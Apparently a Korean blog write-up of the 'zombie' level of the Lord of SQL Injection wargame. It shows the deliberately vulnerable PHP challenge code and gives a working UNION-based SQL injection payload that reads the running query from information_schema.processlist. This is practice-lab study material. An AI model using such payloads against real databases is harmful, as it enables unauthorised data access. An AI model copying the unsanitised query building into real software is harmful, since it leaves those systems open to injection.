728x90
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect("zombie");
  if(preg_match('/rollup|join|ace|@/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select pw from prob_zombie where pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
  if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("zombie");
  highlight_file(__FILE__);
?>

ouroboros 문제와 해결 조건은 같다. 입력한 pw와 쿼리 실행 결과의 pw가 같아야한다. 단, replace가 사용불가능하다.

이번엔 information_schema.processlist 테이블을 이용해야한다.

information_schema.processlist 테이블을 보면 info 칼럼에 실행중인 쿼리문이 나온다.

문제를 풀기에 앞서 ?pw=' union select user()%23 을 입력하면 현재 user를 알 수 있다. php 코드에도 dbconnect("zombie")를 보아 유추는 할 수 있지만 확실하게 하기 위해 user가 zombie라는 것을 확인했다. user는 where절에 user='zombie' 형태로 사용한다.

답: ?pw=' union select substr(info,38,88) from information_schema.processlist where user='zombie

이렇게 입력하면 아래와 같은 쿼리가 실행되며 전체 쿼리문이 processlist 테이블에 저장될 것이다. 

select pw from prob_zombie where pw= '' union select substr(info,38,88) from information_schema.processlist where user='zombie'

substr 함수를 사용해 ' union부터 zombie까지를 추출한다. 그 결과 내가 pw로 전달한 값인 ' union select substr(info,38,88) from information_schema.processlist where user='zombie 와 일치하여 문제가 해결된다.

내가 입력한 pw값과 쿼리 실행결과 출력되는 값이 일치하게 된다. substr 함수 때문에 띄워쓰기를 주의해야한다. 띄워쓸거면 substr의 세번째 인자를 수정해야한다.

728x90

'Lord of SQL Injection' 카테고리의 다른 글

cthulhu  (0) 2023.01.04
alien  (0) 2023.01.04
ouroboros  (0) 2023.01.03
phantom  (0) 2023.01.03
frankenstein  (2) 2023.01.02

+ Recent posts